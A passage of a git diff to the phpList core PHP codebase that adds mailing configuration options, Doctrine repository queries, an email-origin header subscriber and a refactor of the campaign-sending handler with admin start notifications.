+                $url = preg_replace('/:/', '', $url);
+            }
+            $link[$index] = '<a href="' . $url . '" ' . $rest . '>' . $matches[4] . '</a>';
+            $text = $matches[1] . '%%' . $index . '%%' . $matches[5];
+            ++$index;
+        }
+
+        //make www. -> http://www.
+        $text = preg_replace('/(www\.[a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i', 'http://\\1', $text);
+        //take out duplicate schema
+        $text = preg_replace('/(https?:\/\/)http?:\/\//i', '\\1', $text);
+        $text = preg_replace('/(ftp:\/\/)http?:\/\//i', '\\1', $text);
+        //eg-- http://kernel.org -> <a href"http://kernel.org" target="_blank">http://kernel.org</a>
+        $text = preg_replace(
+            '/(https?:\/\/)(?!www)([a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i',
+            '<a href="\\1\\2" class="url" target="_blank">\\2</a>',
+            $text
+        );
+        //eg -- http://www.google.com -> <a href"http://www.google.com" target="_blank">www.google.com</a>
+        $text = preg_replace(
+            '/(https?:\/\/)(www\.)([a-zA-Z0-9\.\/#~:?+=&%@!\\-_]+)/i',
+            '<a href="\\1\\2\\3" class="url" target="_blank">\\2\\3</a>',
+            $text
+        );
+
+        // take off a possible last full stop and move it outside
+        $text = preg_replace(
+            '/<a href=\"(.*?)\.\" class=\"url\" target=\"_blank\">(.*)\.<\/a>/i',
+            '<a href="\\1" class="url" target="_blank">\\2</a>.',
+            $text
+        );
+
+        for ($j = 0; $j < $index; ++$j) {
+            $replacement = $link[$j];
+            $text = preg_replace('/\%\%' . $j . '\%\%/', $replacement, $text);
+        }
+
+        // hmm, regular expression choke on some characters in the text
+        // first replace all the brackets with placeholders.
+        // we cannot use htmlspecialchars or addslashes, because some are needed
+
+        $text = str_replace('\(', '<!--LB-->', $text);
+        $text = str_replace('\)', '<!--RB-->', $text);
+        $text = preg_replace('/\$/', '<!--DOLL-->', $text);
+
+        // @@@ to be xhtml compabible we'd have to close the <p> as well
+        // so for now, just make it two br/s, which will be done by replacing
+        // \n with <br/>
+        // $paragraph = '<p class="x">';
+        $break = '<br />';
+        $text = preg_replace("/\r/", '', $text);
+        $text = preg_replace("/\n/", $break . "\n", $text);
+
+        // reverse our previous placeholders
+        $text = str_replace('<!--LB-->', '(', $text);
+        $text = str_replace('<!--RB-->', ')', $text);
+
+        return str_replace('<!--DOLL-->', '$', $text);
+    }
+}
diff --git a/src/Domain/Configuration/Model/ConfigOption.php b/src/Domain/Configuration/Model/ConfigOption.php
index 86b9286e..9222a24b 100644
--- a/src/Domain/Configuration/Model/ConfigOption.php
+++ b/src/Domain/Configuration/Model/ConfigOption.php
@@ -15,4 +15,22 @@ enum ConfigOption: string
     case SubscribeUrl = 'subscribeurl';
     case Domain = 'domain';
     case Website = 'website';
+    case MessageFromAddress = 'message_from_address';
+    case MessageFromName = 'message_from_name';
+    case MessageReplyToAddress = 'message_replyto_address';
+    case SystemMessageTemplate = 'systemmessagetemplate';
+    case AlwaysAddGoogleTracking = 'always_add_googletracking';
+    case AdminAddress = 'admin_address';
+    case DefaultMessageTemplate = 'defaultmessagetemplate';
+    case MessageFooter = 'messagefooter';
+    case ForwardFooter = 'forwardfooter';
+    case NotifyStartDefault = 'notifystart_default';
+    case NotifyEndDefault = 'notifyend_default';
+    case WordWrap = 'wordwrap';
+    case RemoteUrlAppend = 'remoteurl_append';
+    case OrganisationLogo = 'organisation_logo';
+    case PoweredByImage = 'PoweredByImage';
+    case PoweredByText = 'PoweredByText';
+    case UploadImageRoot = 'uploadimageroot';
+    case PageRoot = 'pageroot';
 }
diff --git a/src/Domain/Configuration/Repository/UrlCacheRepository.php b/src/Domain/Configuration/Repository/UrlCacheRepository.php
index 7b1fbd3a..3b54761e 100644
--- a/src/Domain/Configuration/Repository/UrlCacheRepository.php
+++ b/src/Domain/Configuration/Repository/UrlCacheRepository.php
@@ -7,8 +7,26 @@
 use PhpList\Core\Domain\Common\Repository\AbstractRepository;
 use PhpList\Core\Domain\Common\Repository\CursorPaginationTrait;
 use PhpList\Core\Domain\Common\Repository\Interfaces\PaginatableRepositoryInterface;
+use PhpList\Core\Domain\Configuration\Model\UrlCache;
 
 class UrlCacheRepository extends AbstractRepository implements PaginatableRepositoryInterface
 {
     use CursorPaginationTrait;
+
+    public function findByUrlAndLastModified(string $url, ?int $lastModified = 0): ?UrlCache
+    {
+        return $this->createQueryBuilder('u')
+            ->andWhere('u.url = :url')
+            ->setParameter('url', $url)
+            ->andWhere('u.lastModified > :lastModified')
+            ->setParameter('lastModified', $lastModified)
+            ->getQuery()
+            ->getOneOrNullResult();
+    }
+
+    /** @return UrlCache[] */
+    public function getByUrl(string $url): array
+    {
+        return $this->findBy(['url' => $url]);
+    }
 }
diff --git a/src/Domain/Configuration/Service/Provider/DefaultConfigProvider.php b/src/Domain/Configuration/Service/Provider/DefaultConfigProvider.php
index e97ba32e..9686bab6 100644
--- a/src/Domain/Configuration/Service/Provider/DefaultConfigProvider.php
+++ b/src/Domain/Configuration/Service/Provider/DefaultConfigProvider.php
@@ -557,6 +557,20 @@ private function init(): void
                 'allowempty'  => 0,
                 'category'    => 'subscription-ui',
             ],
+            'PoweredByImage' => [
+                'value'       => '<p class="poweredby" style="text-align:center"><a href="https://www.phplist.com/poweredby?utm_source=pl&amp;utm_medium=poweredlocalimg&amp;utm_campaign=phpList" title="visit the phpList website"><img src="images/power-phplist.png" title="powered by phpList version , &copy; phpList ltd" alt="powered by phpList , &copy; phpList ltd" border="0"/></a></p>',
+                'description' => 'logo/image indicates that emails are sent by phpList',
+                'type'        => 'textarea',
+                'allowempty'  => false,
+                'category'    => 'general',
+            ],
+            'PoweredByText' => [
+                'value'       => '<div style="clear: both; font-family: arial, verdana, sans-serif; font-size: 8px; font-variant: small-caps; font-weight: normal; padding: 2px; padding-left:10px;padding-top:20px;">powered by <a href="https://www.phplist.com/poweredby?utm_source=download&amp;utm_medium=poweredtxt&amp;utm_campaign=phpList" target="_blank" title="powered by phpList version, &copy; phpList ltd">phpList</a></div>',
+                'description' => 'text indicates that emails are sent by phpList',
+                'type'        => 'textarea',
+                'allowempty'  => false,
+                'category'    => 'general',
+            ],
         ];
     }
 
diff --git a/src/Domain/Identity/Model/AdminAttributeDefinition.php b/src/Domain/Identity/Model/AdminAttributeDefinition.php
index 055a4cf0..3fe45e76 100644
--- a/src/Domain/Identity/Model/AdminAttributeDefinition.php
+++ b/src/Domain/Identity/Model/AdminAttributeDefinition.php
@@ -4,6 +4,8 @@
 
 namespace PhpList\Core\Domain\Identity\Model;
 
+use Doctrine\Common\Collections\ArrayCollection;
+use Doctrine\Common\Collections\Collection;
 use Doctrine\ORM\Mapping as ORM;
 use PhpList\Core\Domain\Common\Model\Interfaces\DomainModel;
 use PhpList\Core\Domain\Common\Model\Interfaces\Identity;
@@ -37,6 +39,13 @@ class AdminAttributeDefinition implements DomainModel, Identity
     #[ORM\Column(name:'tablename', type: 'string', length: 255, nullable: true)]
     private ?string $tableName;
 
+    #[ORM\OneToMany(
+        targetEntity: AdminAttributeValue::class,
+        mappedBy: 'attributeDefinition',
+        orphanRemoval: true
+    )]
+    private Collection $attributeValues;
+
     public function __construct(
         string $name,
         ?string $type = null,
@@ -51,6 +60,7 @@ public function __construct(
         $this->defaultValue = $defaultValue;
         $this->required = $required;
         $this->tableName = $tableName;
+        $this->attributeValues = new ArrayCollection();
     }
 
     public function getId(): ?int
@@ -122,4 +132,10 @@ public function setRequired(?bool $required): self
 
         return $this;
     }
+
+    /** @return Collection<int, AdminAttributeValue> */
+    public function getAttributeValues(): Collection
+    {
+        return $this->attributeValues;
+    }
 }
diff --git a/src/Domain/Identity/Model/Administrator.php b/src/Domain/Identity/Model/Administrator.php
index 9829c96e..2f3de5eb 100644
--- a/src/Domain/Identity/Model/Administrator.php
+++ b/src/Domain/Identity/Model/Administrator.php
@@ -5,6 +5,8 @@
 namespace PhpList\Core\Domain\Identity\Model;
 
 use DateTime;
+use Doctrine\Common\Collections\ArrayCollection;
+use Doctrine\Common\Collections\Collection;
 use Doctrine\ORM\Mapping as ORM;
 use InvalidArgumentException;
 use PhpList\Core\Domain\Common\Model\Interfaces\CreationDate;
@@ -13,6 +15,7 @@
 use PhpList\Core\Domain\Common\Model\Interfaces\ModificationDate;
 use PhpList\Core\Domain\Common\Model\Interfaces\OwnableInterface;
 use PhpList\Core\Domain\Identity\Repository\AdministratorRepository;
+use PhpList\Core\Domain\Subscription\Model\SubscriberList;
 
 /**
  * This class represents an administrator who can log to the system, is allowed to administer
@@ -65,11 +68,15 @@ class Administrator implements DomainModel, Identity, CreationDate, Modification
     #[ORM\Column(name: 'privileges', type: 'text', nullable: true)]
     private ?string $privileges = null;
 
+    #[ORM\OneToMany(targetEntity: SubscriberList::class, mappedBy: 'owner')]
+    private Collection $ownedLists;
+
     public function __construct()
     {
         $this->createdAt = new DateTime();
         $this->updatedAt = new DateTime();
         $this->email = '';
+        $this->ownedLists = new ArrayCollection();
     }
 
     public function getId(): ?int
@@ -211,4 +218,12 @@ public function setUpdatedAt(): void
     {
         $this->updatedAt = new DateTime();
     }
+
+    /**
+     * @return Collection<int, SubscriberList>
+     */
+    public function getOwnedLists(): Collection
+    {
+        return $this->ownedLists;
+    }
 }
diff --git a/src/Domain/Identity/Model/Dto/AdminAttributeDefinitionDto.php b/src/Domain/Identity/Model/Dto/AdminAttributeDefinitionDto.php
index 114e0306..eba5a903 100644
--- a/src/Domain/Identity/Model/Dto/AdminAttributeDefinitionDto.php
+++ b/src/Domain/Identity/Model/Dto/AdminAttributeDefinitionDto.php
@@ -6,9 +6,6 @@
 
 class AdminAttributeDefinitionDto
 {
-    /**
-     * @SuppressWarnings("BooleanArgumentFlag")
-     */
     public function __construct(
         public readonly string $name,
         public readonly ?string $type = null,
diff --git a/src/Domain/Identity/Model/Dto/CreateAdministratorDto.php b/src/Domain/Identity/Model/Dto/CreateAdministratorDto.php
index 6d058d3d..a59ed2ca 100644
--- a/src/Domain/Identity/Model/Dto/CreateAdministratorDto.php
+++ b/src/Domain/Identity/Model/Dto/CreateAdministratorDto.php
@@ -6,9 +6,6 @@
 
 final class CreateAdministratorDto
 {
-    /**
-     * @SuppressWarnings("BooleanArgumentFlag")
-     */
     public function __construct(
         public readonly string $loginName,
         public readonly string $password,
diff --git a/src/Domain/Identity/Repository/AdminAttributeDefinitionRepository.php b/src/Domain/Identity/Repository/AdminAttributeDefinitionRepository.php
index 53df9996..cb8e86e7 100644
--- a/src/Domain/Identity/Repository/AdminAttributeDefinitionRepository.php
+++ b/src/Domain/Identity/Repository/AdminAttributeDefinitionRepository.php
@@ -8,6 +8,7 @@
 use PhpList\Core\Domain\Common\Repository\CursorPaginationTrait;
 use PhpList\Core\Domain\Common\Repository\Interfaces\PaginatableRepositoryInterface;
 use PhpList\Core\Domain\Identity\Model\AdminAttributeDefinition;
+use PhpList\Core\Domain\Identity\Model\Administrator;
 
 class AdminAttributeDefinitionRepository extends AbstractRepository implements PaginatableRepositoryInterface
 {
@@ -17,4 +18,28 @@ public function findOneByName(string $name): ?AdminAttributeDefinition
     {
         return $this->findOneBy(['name' => $name]);
     }
+
+    /** @return array<int, array{value: mixed, name: string}> */
+    public function getForAdmin(Administrator $admin): array
+    {
+        return $this->createQueryBuilder('ad')
+            ->select("COALESCE(aav.value, '') AS value", 'ad.name')
+            ->leftJoin(
+                'ad.attributeValues',
+                'aav',
+                'WITH',
+                'aav.administrator = :admin'
+            )
+            ->setParameter('admin', $admin)
+            ->getQuery()
+            ->getResult();
+    }
+
+    public function getAllWithEmptyValues(): array
+    {
+        return $this->createQueryBuilder('ad')
+            ->select('ad.name AS name', "'' AS value")
+            ->getQuery()
+            ->getResult();
+    }
 }
diff --git a/src/Domain/Identity/Repository/AdministratorRepository.php b/src/Domain/Identity/Repository/AdministratorRepository.php
index 73df9ab4..640a0a55 100644
--- a/src/Domain/Identity/Repository/AdministratorRepository.php
+++ b/src/Domain/Identity/Repository/AdministratorRepository.php
@@ -55,4 +55,18 @@ public function findOneByLoginCredentials(string $loginName, string $plainTextPa
             ]
         );
     }
+
+    /** @return Administrator[] */
+    public function getMessageRelatedAdmins(int $messageId): array
+    {
+        return $this->createQueryBuilder('a')
+            ->select('DISTINCT a')
+            ->join('a.ownedLists', 'ag')
+            ->join('ag.listMessages', 'lm')
+            ->join('lm.message', 'm')
+            ->where('m.id = :messageId')
+            ->setParameter('messageId', $messageId)
+            ->getQuery()
+            ->getResult();
+    }
 }
diff --git a/src/Domain/Messaging/EventSubscriber/InjectedByHeaderSubscriber.php b/src/Domain/Messaging/EventSubscriber/InjectedByHeaderSubscriber.php
new file mode 100644
index 00000000..e74abff1
--- /dev/null
+++ b/src/Domain/Messaging/EventSubscriber/InjectedByHeaderSubscriber.php
@@ -0,0 +1,52 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Messaging\EventSubscriber;
+
+use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+use Symfony\Component\HttpFoundation\RequestStack;
+use Symfony\Component\Mailer\Event\MessageEvent;
+use Symfony\Component\Mime\Email;
+
+class InjectedByHeaderSubscriber implements EventSubscriberInterface
+{
+    public function __construct(private readonly RequestStack $requestStack)
+    {
+    }
+
+    public static function getSubscribedEvents(): array
+    {
+        return [MessageEvent::class => 'onMessage'];
+    }
+
+    public function onMessage(MessageEvent $event): void
+    {
+        $request = $this->requestStack->getCurrentRequest();
+        if (!$request) {
+            return;
+        }
+
+        // todo: add custom header only to messages sent individually not from campaigns
+        // when the email is generated from a webpage (quite possible :-) add a "received line" to identify the origin
+        $msg = $event->getMessage();
+        if (!$msg instanceof Email) {
+            return;
+        }
+
+        // Only when triggered by HTTP request context (not CLI workers)
+        if (PHP_SAPI === 'cli') {
+            return;
+        }
+
+        $ip = $request->getClientIp() ?? 'unknown';
+        $host = gethostname() ?: 'unknown-host';
+
+        $timestamp = $request->server->get('REQUEST_TIME') ?? time();
+
+        $msg->getHeaders()->addTextHeader(
+            'X-phpList-Injected-By',
+            sprintf('from [%s] by %s with HTTP; %s', $ip, $host, $timestamp)
+        );
+    }
+}
diff --git a/src/Domain/Messaging/Exception/DevEmailNotConfiguredException.php b/src/Domain/Messaging/Exception/DevEmailNotConfiguredException.php
new file mode 100644
index 00000000..ac467901
--- /dev/null
+++ b/src/Domain/Messaging/Exception/DevEmailNotConfiguredException.php
@@ -0,0 +1,15 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Messaging\Exception;
+
+use LogicException;
+
+class DevEmailNotConfiguredException extends LogicException
+{
+    public function __construct()
+    {
+        parent::__construct('Sending email in dev mode, but dev email is not configured.');
+    }
+}
diff --git a/src/Domain/Messaging/Exception/MessageCacheMissingException.php b/src/Domain/Messaging/Exception/MessageCacheMissingException.php
new file mode 100644
index 00000000..a4a577f2
--- /dev/null
+++ b/src/Domain/Messaging/Exception/MessageCacheMissingException.php
@@ -0,0 +1,15 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Messaging\Exception;
+
+use RuntimeException;
+
+class MessageCacheMissingException extends RuntimeException
+{
+    public function __construct()
+    {
+        parent::__construct('Message cache is missing or expired');
+    }
+}
diff --git a/src/Domain/Messaging/Message/SubscriberConfirmationMessage.php b/src/Domain/Messaging/Message/SubscriberConfirmationMessage.php
index 676d2e4b..58623020 100644
--- a/src/Domain/Messaging/Message/SubscriberConfirmationMessage.php
+++ b/src/Domain/Messaging/Message/SubscriberConfirmationMessage.php
@@ -13,9 +13,6 @@ class SubscriberConfirmationMessage
     private string $uniqueId;
     private bool $htmlEmail;
 
-    /**
-     * @SuppressWarnings("BooleanArgumentFlag")
-     */
     public function __construct(
         string $email,
         string $uniqueId,
diff --git a/src/Domain/Messaging/Message/SubscriptionConfirmationMessage.php b/src/Domain/Messaging/Message/SubscriptionConfirmationMessage.php
index 22515145..2291314a 100644
--- a/src/Domain/Messaging/Message/SubscriptionConfirmationMessage.php
+++ b/src/Domain/Messaging/Message/SubscriptionConfirmationMessage.php
@@ -14,9 +14,6 @@ class SubscriptionConfirmationMessage
     private array $listIds;
     private bool $htmlEmail;
 
-    /**
-     * @SuppressWarnings("BooleanArgumentFlag")
-     */
     public function __construct(
         string $email,
         string $uniqueId,
diff --git a/src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php b/src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
index 12d45c30..54a61983 100644
--- a/src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
+++ b/src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
@@ -4,19 +4,28 @@
 
 namespace PhpList\Core\Domain\Messaging\MessageHandler;
 
+use DateTime;
+use DateTimeImmutable;
+use Doctrine\DBAL\Exception\UniqueConstraintViolationException;
 use Doctrine\ORM\EntityManagerInterface;
+use PhpList\Core\Domain\Configuration\Service\UserPersonalizer;
+use PhpList\Core\Domain\Messaging\Exception\MessageCacheMissingException;
 use PhpList\Core\Domain\Messaging\Exception\MessageSizeLimitExceededException;
 use PhpList\Core\Domain\Messaging\Message\CampaignProcessorMessage;
 use PhpList\Core\Domain\Messaging\Message\SyncCampaignProcessorMessage;
+use PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto;
 use PhpList\Core\Domain\Messaging\Model\Message;
 use PhpList\Core\Domain\Messaging\Model\Message\MessageStatus;
 use PhpList\Core\Domain\Messaging\Model\Message\UserMessageStatus;
+use PhpList\Core\Domain\Messaging\Model\MessageData;
 use PhpList\Core\Domain\Messaging\Model\UserMessage;
 use PhpList\Core\Domain\Messaging\Repository\MessageRepository;
 use PhpList\Core\Domain\Messaging\Repository\UserMessageRepository;
+use PhpList\Core\Domain\Messaging\Service\Builder\EmailBuilder;
 use PhpList\Core\Domain\Messaging\Service\Handler\RequeueHandler;
 use PhpList\Core\Domain\Messaging\Service\Manager\MessageDataManager;
 use PhpList\Core\Domain\Messaging\Service\MaxProcessTimeLimiter;
+use PhpList\Core\Domain\Messaging\Service\MessageDataLoader;
 use PhpList\Core\Domain\Messaging\Service\MessagePrecacheService;
 use PhpList\Core\Domain\Messaging\Service\MessageProcessingPreparator;
 use PhpList\Core\Domain\Messaging\Service\RateLimitedCampaignMailer;
@@ -26,7 +35,10 @@
 use PhpList\Core\Domain\Subscription\Service\Provider\SubscriberProvider;
 use Psr\Log\LoggerInterface;
 use Psr\SimpleCache\CacheInterface;
+use Symfony\Component\Mailer\Envelope;
+use Symfony\Component\Mailer\MailerInterface;
 use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+use Symfony\Component\Mime\Address;
 use Symfony\Component\Mime\Email;
 use Symfony\Contracts\Translation\TranslatorInterface;
 use Throwable;
@@ -41,7 +53,8 @@ class CampaignProcessorMessageHandler
     private ?int $maxMailSize;
 
     public function __construct(
-        private readonly RateLimitedCampaignMailer $mailer,
+        private readonly MailerInterface $mailer,
+        private readonly RateLimitedCampaignMailer $rateLimitedCampaignMailer,
         private readonly EntityManagerInterface $entityManager,
         private readonly SubscriberProvider $subscriberProvider,
         private readonly MessageProcessingPreparator $messagePreparator,
@@ -56,6 +69,10 @@ public function __construct(
         private readonly EventLogManager $eventLogManager,
         private readonly MessageDataManager $messageDataManager,
         private readonly MessagePrecacheService $precacheService,
+        private readonly UserPersonalizer $userPersonalizer,
+        private readonly MessageDataLoader $messageDataLoader,
+        private readonly EmailBuilder $emailBuilder,
+        private readonly string $messageEnvelope,
         ?int $maxMailSize = null,
     ) {
         $this->maxMailSize = $maxMailSize ?? 0;
@@ -73,39 +90,62 @@ public function __invoke(CampaignProcessorMessage|SyncCampaignProcessorMessage $
             return;
         }
 
-        $messageContent = $this->precacheService->getOrCacheBaseMessageContent($campaign);
+        $loadedMessageData = ($this->messageDataLoader)($campaign);
+//        if (!empty($loadedMessageData['resetstats'])) {
+//            resetMessageStatistics($loadedMessageData['id']);
+//            setMessageData($loadedMessageData['id'], 'resetstats', 0);
+//        }
+//        $stopSending = false;
+//        if (!empty($loadedMessageData['finishsending'])) {
+//            $finishSendingBefore = mktime(
+//                $loadedMessageData['finishsending']['hour'],
+//                $loadedMessageData['finishsending']['minute'],
+//                0,
+//                $loadedMessageData['finishsending']['month'],
+//                $loadedMessageData['finishsending']['day'],
+//                $loadedMessageData['finishsending']['year'],
+//            );
+//            $secondsTogo = $finishSendingBefore - time();
+//            $stopSending = $secondsTogo < 0;
+//        }
+//        $userSelection = $loadedMessageData['userselection'];
+
+        $cacheKey = sprintf('messaging.message.base.%d.%d', $campaign->getId(), 0);
+        if (!$this->precacheService->precacheMessage($campaign, $loadedMessageData)) {
+            $this->updateMessageStatus($campaign, MessageStatus::Suspended);
+
+            return;
+        }
+
+        $this->handleAdminNotifications($campaign, $loadedMessageData, $message->getMessageId());
 
         $this->updateMessageStatus($campaign, MessageStatus::Prepared);
         $subscribers = $this->subscriberProvider->getSubscribersForMessage($campaign);
 
         $this->updateMessageStatus($campaign, MessageStatus::InProcess);
 
-        $this->timeLimiter->start();
-        $stoppedEarly = false;
-
-        foreach ($subscribers as $subscriber) {
-            if ($this->timeLimiter->shouldStop()) {
-                $stoppedEarly = true;
-                break;
-            }
-
-            $existing = $this->userMessageRepository->findOneByUserAndMessage($subscriber, $campaign);
-            if ($existing && $existing->getStatus() !== UserMessageStatus::Todo) {
-                continue;
-            }
-
-            $userMessage = $existing ?? new UserMessage($subscriber, $campaign);
-            $userMessage->setStatus(UserMessageStatus::Active);
-            $this->userMessageRepository->save($userMessage);
-
-            if (!filter_var($subscriber->getEmail(), FILTER_VALIDATE_EMAIL)) {
-                $this->handleInvalidEmail($userMessage, $subscriber, $campaign);
-                $this->entityManager->flush();
-                continue;
-            }
-
-            $this->handleEmailSending($campaign, $subscriber, $userMessage, $messageContent);
-        }
+//        if (USE_LIST_EXCLUDE) {
+//            if (VERBOSE) {
+//                processQueueOutput(s('looking for users who can be excluded from this mailing'));
+//            }
+//            if (count($msgdata['excludelist'])) {
+//                $query
+//                    = ' select userid'
+//                    .' from '.$GLOBALS['tables']['listuser']
+//                    .' where listid in ('.implode(',', $msgdata['excludelist']).')';
+//                if (VERBOSE) {
+//                    processQueueOutput('Exclude query '.$query);
+//                }
+//                $req = Sql_Query($query);
+//                while ($row = Sql_Fetch_Row($req)) {
+//                    $um = Sql_Query(sprintf('replace into %s (entered,userid,messageid,status)
+//                           values(now(),%d,%d,"excluded")',
+//                        $tables['usermessage'], $row[0], $messageid));
+//                }
+//            }
+//        }
+
+        $stoppedEarly = $this->processSubscribersForCampaign($campaign, $subscribers, $cacheKey);
 
         if ($stoppedEarly && $this->requeueHandler->handle($campaign)) {
             $this->entityManager->flush();
@@ -125,6 +165,9 @@ private function unconfirmSubscriber(Subscriber $subscriber): void
 
     private function updateMessageStatus(Message $message, MessageStatus $status): void
     {
+        if ($status === MessageStatus::InProcess && $message->getMetadata()->getSendStart() === null) {
+            $message->getMetadata()->setSendStart(new DateTime());
+        }
         $message->getMetadata()->setStatus($status);
         $this->entityManager->flush();
     }
@@ -156,12 +199,21 @@ private function handleEmailSending(
         Message $campaign,
         Subscriber $subscriber,
         UserMessage $userMessage,
-        Message\MessageContent $precachedContent,
+        MessagePrecacheDto $precachedContent,
     ): void {
-        $processed = $this->messagePreparator->processMessageLinks($campaign->getId(), $precachedContent, $subscriber);
+        $processed = $this->messagePreparator->processMessageLinks(
+            $campaign->getId(),
+            $precachedContent,
+            $subscriber
+        );
+        $processed->textContent = $this->userPersonalizer->personalize(
+            $processed->textContent,
+            $subscriber->getEmail(),
+        );
+        $processed->footer = $this->userPersonalizer->personalize($processed->footer, $subscriber->getEmail());
 
         try {
-            $email = $this->mailer->composeEmail($campaign, $subscriber, $processed);
+            $email = $this->rateLimitedCampaignMailer->composeEmail($campaign, $subscriber, $processed);
             $this->mailer->send($email);
             $this->checkMessageSizeOrSuspendCampaign($campaign, $email, $subscriber->hasHtmlEmail());
             $this->updateUserMessageStatus($userMessage, UserMessageStatus::Sent);
@@ -235,4 +287,83 @@ private function calculateEmailSize(Email $email): int
 
         return $size;
     }
+
+    private function handleAdminNotifications(Message $campaign, array $loadedMessageData, int $messageId): void
+    {
+        if (!empty($loadedMessageData['notify_start']) && !isset($loadedMessageData['start_notified'])) {
+            $notifications = explode(',', $loadedMessageData['notify_start']);
+            foreach ($notifications as $notification) {
+                $email = $this->emailBuilder->buildPhplistEmail(
+                    messageId: $campaign->getId(),
+                    to: $notification,
+                    subject: $this->translator->trans('Campaign started'),
+                    message: $this->translator->trans(
+                        'phplist has started sending the campaign with subject %subject%',
+                        ['%subject%' => $loadedMessageData['subject']]
+                    ),
+                    inBlast: false,
+                );
+
+                if (!$email) {
+                    continue;
+                }
+
+                // todo: check if from name should be from config
+                $envelope = new Envelope(
+                    sender: new Address($this->messageEnvelope, 'PHPList'),
+                    recipients: [new Address($email->getTo()[0]->getAddress())],
+                );
+                $this->mailer->send(message: $email, envelope: $envelope);
+            }
+            $messageData = new MessageData();
+            $messageData->setName('start_notified');
+            $messageData->setId($messageId);
+            $messageData->setData((new DateTimeImmutable())->format('Y-m-d H:i:s'));
+
+            try {
+                $this->entityManager->persist($messageData);
+                $this->entityManager->flush();
+            } catch (UniqueConstraintViolationException $e) {
+                $this->logger->debug('Duplicate message ignored', [
+                    'exception' => $e,
+                ]);
+            }
+        }
+    }
+
+    private function processSubscribersForCampaign(Message $campaign, array $subscribers, string $cacheKey): bool
+    {
+        $this->timeLimiter->start();
+        $stoppedEarly = false;
+
+        foreach ($subscribers as $subscriber) {
+            if ($this->timeLimiter->shouldStop()) {
+                $stoppedEarly = true;
+                break;
+            }
+
+            $existing = $this->userMessageRepository->findOneByUserAndMessage($subscriber, $campaign);
+            if ($existing && $existing->getStatus() !== UserMessageStatus::Todo) {
+                continue;
+            }
+
+            $userMessage = $existing ?? new UserMessage($subscriber, $campaign);
+            $userMessage->setStatus(UserMessageStatus::Active);
+            $this->userMessageRepository->save($userMessage);
+
+            if (!filter_var($subscriber->getEmail(), FILTER_VALIDATE_EMAIL)) {
+                $this->handleInvalidEmail($userMessage, $subscriber, $campaign);
+                $this->entityManager->flush();
+                continue;
+            }
+
+            $messagePrecacheDto = $this->cache->get($cacheKey);
+            if ($messagePrecacheDto === null) {
+                throw new MessageCacheMissingException();
+            }
+            $this->handleEmailSending($campaign, $subscriber, $userMessage, $messagePrecacheDto);
+        }
+
+        return $stoppedEarly;
+    }
 }
diff --git a/src/Domain/Messaging/Model/Dto/CreateTemplateDto.php b/src/Domain/Messaging/Model/Dto/CreateTemplateDto.php
index 009c475f..b6aa0926 100644
--- a/src/Domain/Messaging/Model/Dto/CreateTemplateDto.php
+++ b/src/Domain/Messaging/Model/Dto/CreateTemplateDto.php
@@ -6,9 +6,6 @@
 
 class CreateTemplateDto
 {
-    /**
-     * @SuppressWarnings("BooleanArgumentFlag")
-     */
     public function __construct(
         public readonly string $title,
         public readonly string $content,
diff --git a/src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php b/src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php
new file mode 100644
index 00000000..10fdaf93
--- /dev/null
+++ b/src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php
@@ -0,0 +1,31 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Messaging\Model\Dto;
+
+/** @SuppressWarnings(TooManyFields) */
+class MessagePrecacheDto
+{
+    public string $replyToEmail = '';
+    public ?string $replyToName = null;
+    public ?string $fromName = null;
+    public ?string $fromEmail = null;
+    public ?string $to = null;
+    public string $subject = '';
+    public ?string $content = null;
+    public string $textContent = '';
+    public string $footer = '';
+    public ?string $textFooter = null;
+    public string $htmlFooter = '';
+    public bool $htmlFormatted = false;
+    public ?string $sendFormat = null;
+    public ?string $template = null;
+    public ?string $templateText = null;
+    public ?int $templateId = null;
+//    public string $htmlCharset= 'UTF-8';
+//    public string $textCharset= 'UTF-8';
+    public bool $userSpecificUrl = false;
+    public ?string $googleTrack = null;
+    public array $adminAttributes = [];
+}
diff --git a/src/Domain/Messaging/Model/Dto/UpdateTemplateDto.php b/src/Domain/Messaging/Model/Dto/UpdateTemplateDto.php
index 33e7bcf2..72a70bf9 100644
--- a/src/Domain/Messaging/Model/Dto/UpdateTemplateDto.php
+++ b/src/Domain/Messaging/Model/Dto/UpdateTemplateDto.php
@@ -6,9 +6,6 @@
 
 class UpdateTemplateDto
 {
-    /**
-     * @SuppressWarnings("BooleanArgumentFlag")
-     */
     public function __construct(
         public readonly ?string $title = null,
         public readonly ?string $content = null,
diff --git a/src/Domain/Messaging/Repository/MessageDataRepository.php b/src/Domain/Messaging/Repository/MessageDataRepository.php
index 51b27a04..1ef70d39 100644
--- a/src/Domain/Messaging/Repository/MessageDataRepository.php
+++ b/src/Domain/Messaging/Repository/MessageDataRepository.php
@@ -17,4 +17,10 @@ public function findByIdAndName(int $messageId, string $name): ?MessageData
     {
         return $this->findOneBy(['id' => $messageId, 'name' => $name]);
     }
+
+    /** @return MessageData[] */
+    public function getForMessage(int $messageId): array
+    {
+        return $this->findBy(['id' => $messageId]);
+    }
 }
diff --git a/src/Domain/Messaging/Repository/MessageRepository.php b/src/Domain/Messaging/Repository/MessageRepository.php
index 30d5f1fd..a2db5ae3 100644
--- a/src/Domain/Messaging/Repository/MessageRepository.php
+++ b/src/Domain/Messaging/Repository/MessageRepository.php
@@ -5,6 +5,7 @@
 namespace PhpList\Core\Domain\Messaging\Repository;
 
 use DateTimeImmutable;
+use Doctrine\ORM\AbstractQuery;
 use PhpList\Core\Domain\Common\Model\Filter\FilterRequestInterface;
 use PhpList\Core\Domain\Common\Repository\AbstractRepository;
